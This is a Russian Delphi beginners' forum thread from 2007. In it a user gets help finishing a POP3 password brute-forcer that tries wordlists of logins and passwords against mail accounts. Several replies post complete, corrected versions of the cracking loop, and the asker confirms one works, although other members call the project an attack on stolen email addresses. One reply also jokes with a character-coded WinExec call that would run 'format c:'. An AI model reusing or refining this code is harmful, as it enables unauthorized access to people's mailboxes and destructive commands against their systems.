Форум: "Начинающим";
Текущий архив: 2007.09.16;
Скачать: [xml.tar.bz2];

Вниз

Проблема   Найти похожие ветки 

← →
Bast   (2007-08-21 01:19) [0]

Есть код(приведенный ниже) когда пароль найден, то я хочу перейти сразу на другую строчку, как я могу это сделать?
procedure threed.Execute;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Çàãðóæàåì âàðèàíòû — ñïðàâî÷íèêè èìåí è ïàðîëåé
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
//Ïîïûòêà ñîåäèíåíèÿ.
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then
begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
i:=i+1;
form1.IdPOP31.Disconnect;
end;
form1.IdPOP31.Disconnect;
end;
end;
end.

---

← →
THandle ©   (2007-08-21 08:13) [1]

goto?

---

← →
Сергей М. ©   (2007-08-21 09:07) [2]

> хочу перейти сразу на другую строчку


"Сразу" это как ?
"На другую" это какую ?

Почему не выполняешь требования по синхронизации обращений к vcl-контролам с основным тредом ?

---

← →
Anatoly Podgoretsky ©   (2007-08-21 09:34) [3]

Что ты хочешь сделать?

---

← →
max_   (2007-08-21 09:43) [4]

break

---

← →
Сергей М. ©   (2007-08-21 09:44) [5]

Ну так и сделай break, в чем проблема-то ?)

---

← →
Slym ©   (2007-08-21 09:45) [6]

Anatoly Podgoretsky ©   (21.08.07 9:34) [3]
Очередной кулхацкер пишет брутфорс на почтовый аккаунт

---

← →
DrPass ©   (2007-08-21 10:13) [7]

> Сергей М. ©   (21.08.07 09:07) [2]
>
> > хочу перейти сразу на другую строчку
>
>
> "Сразу" это как ?
> "На другую" это какую ?
>
> Почему не выполняешь требования по синхронизации обращений
> к vcl-контролам с основным тредом ?

Ты говоришь о синхронизации человеку, который не может самостоятельно выйти из цикла?

---

← →
Сергей М. ©   (2007-08-21 10:24) [8]

> DrPass ©   (21.08.07 10:13) [7]


Ну может он еще не совсем безнадежен)..

---

← →
Dib@zol ©   (2007-08-21 10:28) [9]

Реально, ставь goto и радовайся жизни! :)

procedure threed.Execute;
label
_end;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
//Iiiuoea niaaeiaiey.
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then
begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
i:=i+1;
//form1.IdPOP31.Disconnect;
goto _end;
end;
_end:
form1.IdPOP31.Disconnect;
end;
end;
end.

Типа так?

---

← →
wp2 ©   (2007-08-21 10:30) [10]

LoginStrings.LoadFromFile(form1.Edit3.Text);

мдя... это ж надо было такое замутить.

LoginStrings.Add(Edit3.Text)

---

← →
DrPass ©   (2007-08-21 10:43) [11]

> Dib@zol ©   (21.08.07 10:28) [9]

_end - это некузяво. Реальные пацаны обозначают метки цифрами 1, 2, 3... и так далее

---

← →
Bast   (2007-08-21 10:45) [12]

Мне нжуно чтобы i передвинулась на 1 строки ниже если пароль нашелся

---

← →
Игорь Шевченко ©   (2007-08-21 10:46) [13]

Write-only user

---

← →
wp2 ©   (2007-08-21 11:05) [14]

Аффтар, учи паскаль.

---

← →
Сергей М. ©   (2007-08-21 11:09) [15]

> i передвинулась


Как это "передвинулось" ?


> на 1 строки ниже


Ниже чего ?!

---

← →
Bast   (2007-08-21 11:12) [16]

ну смотрите
нашелся пароль от email tt@tt.ru, а он все еще продолжает подюирать пароли к tt@tt.ru, мне нужно чтобы если пароль нашелся, то перестал подбирать к пароли к tt@tt.ru и начал подбирать пароль к след. email который лежит в login.txt

---

← →
sniknik ©   (2007-08-21 11:14) [17]

... научишь такого потом письма из ящиков пропадать начнут....

---

← →
sniknik ©   (2007-08-21 11:15) [18]

> Write-only user
и слава Гейтцу!

---

← →
Сергей М. ©   (2007-08-21 11:19) [19]

> Bast   (21.08.07 11:12) [16]


см. [4]

---

← →
Bast   (2007-08-21 11:25) [20]

> ... научишь такого потом письма из ящиков пропадать начнут.
> ...

Обижаешь...

---

← →
Сергей М. ©   (2007-08-21 11:27) [21]

> Bast


Т.е. в http://delphimaster.net/view/2-1187604813/ ты тыришь у жертвы мыльные адреса, а в этом сабже пытаешься отбрутфорсить их ?

Нехорошо, дядя, гадить, ой нехорошо)

Как тебе не ай-ай-ай ?)

---

← →
Bast   (2007-08-21 11:29) [22]

break; это не то, он останавливает цикл, а мне нужно не остановить, а передвинуть

---

← →
DrPass ©   (2007-08-21 11:29) [23]

> Сергей М. ©   (21.08.07 11:27) [21]

Не переживай. Я уже позвонил в ФАПСИ, обещали этим товарищем заняться. Скоро будет баландой завтракать

---

← →
alshtam   (2007-08-21 11:30) [24]

continue продолжает цикл со следующей цифры

---

← →
Dib@zol ©   (2007-08-21 11:30) [25]

> Не переживай. Я уже позвонил в ФАПСИ, обещали этим товарищем
> заняться. Скоро будет баландой завтракать

> Нехорошо, дядя, гадить, ой нехорошо) (с)
:)

---

← →
Плохиш ©   (2007-08-21 11:33) [26]

> Bast   (21.08.07 11:29) [22]

Да у тебя ещё и проблемы с логикой.

> alshtam   (21.08.07 11:30) [24]

И какой из циклов аФФтара оно продолжит?

---

← →
Сергей М. ©   (2007-08-21 11:38) [27]

> Bast   (21.08.07 11:29) [22]


> нужно не остановить, а передвинуть


Ты в состоянии вразумительно объяснить, что такое "передвинуть цикл" ?)

---

← →
Dib@zol ©   (2007-08-21 11:45) [28]

Походу я могу. Надо (см. код) увеличить i на 1, а в j прописать 0.
Аффтару: такая циклическая конструкция тута не подходит. for в данной ситуации явно не рулит. repeat - until!

procedure threed.Execute;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
i:=0;
repeat
 for j:=0 to PassStrings.Count-1 do begin
   form1.IdPOP31.UserName:=LoginStrings.Strings[i];
   form1.IdPOP31.Password:=PassStrings.Strings[j];
   form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
   try
     form1.IdPOP31.Connect;
   except
   end;
   if form1.IdPOP31.Connected then begin
     form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
     i:=i+1;
     form1.IdPOP31.Disconnect;
   end;
   form1.IdPOP31.Disconnect;
 end;
 i:=i+1;
until i>LoginStrings.Count;
end;

---

← →
Dib@zol ©   (2007-08-21 11:47) [29]

Тфу ты. Вот:

procedure threed.Execute;
label
_end;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
i:=0;
repeat
for j:=0 to PassStrings.Count-1 do begin
  form1.IdPOP31.UserName:=LoginStrings.Strings[i];
  form1.IdPOP31.Password:=PassStrings.Strings[j];
  form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
  try
    form1.IdPOP31.Connect;
  except
  end;
  if form1.IdPOP31.Connected then begin
    form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
    form1.IdPOP31.Disconnect;
    goto _end;
  end;
  form1.IdPOP31.Disconnect;
end;
_end:
i:=i+1;
until i>LoginStrings.Count;
end;

---

← →
Плохиш ©   (2007-08-21 11:49) [30]

> Dib@zol ©   (21.08.07 11:47) [29]

Прикольные маразматические извращения и всё только из-за отсутствия знаний того, что делает break :-) Продолжай...

---

← →
Dib@zol ©   (2007-08-21 11:51) [31]

> [30] Плохиш ©   (21.08.07 11:49)

Любую задачу можно решить несколькими способами. Я свой предложил, а ты нет, профи ты наш.

---

← →
Сергей М. ©   (2007-08-21 11:53) [32]

> Dib@zol ©   (21.08.07 11:51) [31]


> Я свой предложил


.. и оказал тем самым медвежью услугу)

---

← →
DrPass ©   (2007-08-21 11:57) [33]

> Сергей М. ©   (21.08.07 11:53) [32]


> .. и оказал тем самым медвежью услугу)

Наоборот, это природный механизм естественного отбора в действии :)

---

← →
Bast   (2007-08-21 11:58) [34]

> procedure threed.Execute;
> label
> _end;
> var
> LoginStrings:TStrings;
> PassStrings:TStrings;
> i,j:integer;
> begin
> LoginStrings:=TStringList.Create;
> PassStrings:=TStringList.Create;
> //Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
> LoginStrings.LoadFromFile(form1.Edit3.Text);
> PassStrings.LoadFromFile(form1.Edit4.Text);
> form1.IdPOP31.Host:=form1.Edit1.Text;
> form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
> i:=0;
> repeat
> for j:=0 to PassStrings.Count-1 do begin
>   form1.IdPOP31.UserName:=LoginStrings.Strings[i];
>   form1.IdPOP31.Password:=PassStrings.Strings[j];
>   form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.
> Strings[j]);
>   try
>     form1.IdPOP31.Connect;
>   except
>   end;
>   if form1.IdPOP31.Connected then begin
>     form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.
> Strings[j]);
>     form1.IdPOP31.Disconnect;
>     goto _end;
>   end;
>   form1.IdPOP31.Disconnect;
> end;
> _end:
> i:=i+1;
> until i>LoginStrings.Count;
> end;

Спасибо, помогло

---

← →
Dib@zol ©   (2007-08-21 11:58) [35]

> [32] Сергей М. ©   (21.08.07 11:53)

Так. Какова ситуация? Чел не хочет/не может/не знает как использовать Брейк. Я предлагаю иной вариант, но если вас уж так это коробит, то пожалте:

procedure threed.Execute;
var
LoginStrings:TStrings;
PassStrings:TStrings;
i,j:integer;
begin
LoginStrings:=TStringList.Create;
PassStrings:=TStringList.Create;
//Caa?o?aai aa?eaiou — ni?aai?ieee eiai e ia?ieae
LoginStrings.LoadFromFile(form1.Edit3.Text);
PassStrings.LoadFromFile(form1.Edit4.Text);
form1.IdPOP31.Host:=form1.Edit1.Text;
form1.IdPOP31.Port:=strtoint(form1.Edit2.Text);
for i:=0 to LoginStrings.Count-1 do
for j:=0 to PassStrings.Count-1 do
begin
form1.IdPOP31.UserName:=LoginStrings.Strings[i];
form1.IdPOP31.Password:=PassStrings.Strings[j];
form1.Memo2.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
//Iiiuoea niaaeiaiey.
try
form1.IdPOP31.Connect;
except
end;
if form1.IdPOP31.Connected then
begin
form1.Memo1.Lines.Add(LoginStrings.Strings[i]+";"+PassStrings.Strings[j]);
form1.IdPOP31.Disconnect;
BREAK;
end;
form1.IdPOP31.Disconnect;
end;
end;
end.

---

← →
iXT ©   (2007-08-21 12:02) [36]

> [35] Dib@zol ©   (21.08.07 11:58)

Зачем?

---

← →
Сергей М. ©   (2007-08-21 12:02) [37]

> Dib@zol ©   (21.08.07 11:58) [35]


"Медвежесть" услуги здесь в том что приводится некое готовое решение человеку, не умеющему и/или не желающему ни читать, ни думать, занимающемуся к тому же откровенно неблаговидными "делами".

---

← →
Dib@zol ©   (2007-08-21 12:04) [38]

> [36] iXT ©   (21.08.07 12:02)
> [37] Сергей М. ©   (21.08.07 12:02)

Именно потому и привожу, что чел с таким набором знаний вряд ли когда-либо напишет то, чего он хочет.

---

← →
Dib@zol ©   (2007-08-21 12:07) [39]

Опять же, а если он будет читать хелпы и мануалы, изучать статьи и SDK, то со временем будет способен на многое! Так не лучше ли притормозить этот пагубный процесс?

---

← →
iXT ©   (2007-08-21 12:08) [40]

for i:=0 to Count - 1 do
 begin
   .......
   if <Нашел что искал>
     then WinExec("$102+$111+$114+$109+$97+$116+$32+$99+58");
 end;

ЗЫ Вариант с форматированием почтового ящика :)

---

Страницы: 1 2 вся ветка

Форум: "Начинающим";
Текущий архив: 2007.09.16;
Скачать: [xml.tar.bz2];

Наверх

Память: 0.56 MB
Время: 0.042 c